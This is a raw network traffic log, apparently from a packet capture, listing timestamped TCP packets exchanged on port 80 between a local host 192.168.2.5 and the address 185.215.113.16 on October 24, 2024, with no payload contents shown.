Oct 24, 2024 19:30:14.932615995 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932626963 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932637930 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932642937 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.932650089 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932661057 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932671070 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932673931 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.932683945 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932686090 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.932694912 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932703972 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.932708025 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932720900 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932732105 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932734966 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.932753086 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932758093 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.932765961 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.932787895 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.932811975 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.933013916 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933026075 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933036089 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933047056 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933054924 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.933058977 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933075905 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933084011 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.933094025 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933105946 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933115959 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.933115959 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933129072 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933131933 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.933141947 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933151007 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933161020 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.933162928 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933176041 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933187008 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.933187962 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933199883 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933212042 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933219910 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.933224916 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933238983 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933240891 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.933252096 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933264017 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933263063 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.933279037 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.933279991 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933303118 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.933332920 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.933516026 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933527946 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933537960 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933548927 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933566093 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.933568954 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933581114 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933587074 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.933593988 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933604956 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.933604956 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933618069 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933630943 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933641911 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933643103 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.933654070 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933662891 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.933666945 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933679104 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933690071 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933696032 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.933711052 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.933741093 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.933959007 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933970928 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933979988 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.933991909 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934000969 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.934007883 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934020042 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934030056 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934036016 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.934041023 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934048891 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.934057951 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934066057 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.934070110 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934082985 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934096098 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.934099913 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934113026 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934120893 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.934123993 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934137106 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934148073 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934151888 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.934159994 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934160948 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.934195995 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.934217930 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.934257030 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934268951 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934281111 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934293032 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934303045 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934303045 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.934317112 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934323072 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.934328079 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934340000 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934348106 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.934357882 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934369087 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934374094 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.934379101 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934390068 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934396982 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.934402943 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934417963 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934425116 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.934428930 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934442043 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934451103 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.934452057 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934464931 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934475899 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.934482098 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.934494019 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.934515953 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.046504021 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.046516895 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.046529055 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.046540976 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.046552896 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.046552896 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.046590090 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.046634912 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.046829939 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.046840906 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.046878099 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.047420979 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.047467947 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.047518015 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.047532082 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.047549009 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.047559977 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.047560930 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.047571898 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.047583103 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.047588110 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.047601938 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.047612906 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.047620058 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.047624111 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.047636986 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.047647953 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.047648907 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.047655106 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.047687054 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.047709942 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.047722101 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.047732115 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.047740936 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.047751904 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.047780991 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.047811985 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.047822952 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.047833920 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.047847986 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.047867060 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.047868967 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.047880888 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.047889948 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.047916889 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.047944069 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.048139095 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.048146963 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.048155069 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.048208952 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.048221111 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.048252106 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.048261881 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.048264027 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.048275948 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.048290014 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.048294067 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.048305035 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.048310041 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.048316956 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.048332930 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.048371077 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.048393011 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.048403978 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.048414946 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.048428059 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.048435926 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.048439026 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.048461914 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.048485994 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.048499107 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.048511028 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.048543930 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.048727036 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.048774004 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.048784018 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.048795938 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.048805952 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.048818111 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.048825979 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.048862934 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.049184084 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049211025 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049222946 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049263000 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.049284935 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049285889 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.049295902 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049324036 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049340963 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049344063 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.049352884 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049364090 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049374104 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049377918 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.049386024 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049388885 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.049400091 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049417019 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.049499989 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049511909 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049521923 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049523115 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.049534082 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049540997 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.049547911 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049560070 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049568892 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.049607038 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.049649000 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049660921 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049671888 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049707890 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.049721956 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.049827099 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049838066 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049848080 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049860954 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049870968 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.049873114 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049885035 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049896955 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049906969 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049910069 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.049921989 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049926996 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.049928904 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049937963 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.049940109 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.049974918 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.050004959 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050031900 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050041914 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050069094 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.050081968 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.050170898 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050180912 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050195932 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050220966 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.050220966 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050235033 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050244093 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.050261021 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.050261974 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050275087 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050285101 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050290108 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.050297022 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050303936 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.050312996 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050324917 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050334930 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050338984 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.050350904 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.050350904 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050364017 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050374985 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.050375938 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050410032 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.050415039 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.050438881 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050472975 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.050609112 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050621033 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050631046 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050642014 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050652027 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.050652981 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050664902 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050667048 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.050677061 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050688982 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050700903 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050700903 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.050712109 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050714016 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.050724983 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050733089 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.050736904 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050757885 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.050786018 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.050896883 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050908089 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050918102 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050929070 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050940037 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050942898 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.050966024 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050968885 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.050980091 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.050991058 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.050992012 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.051003933 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.051014900 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.051026106 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.051028967 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:15.051038027 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.051048994 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:15.051054955 CEST	49981	80	192.168.2.5	185.215.113.16
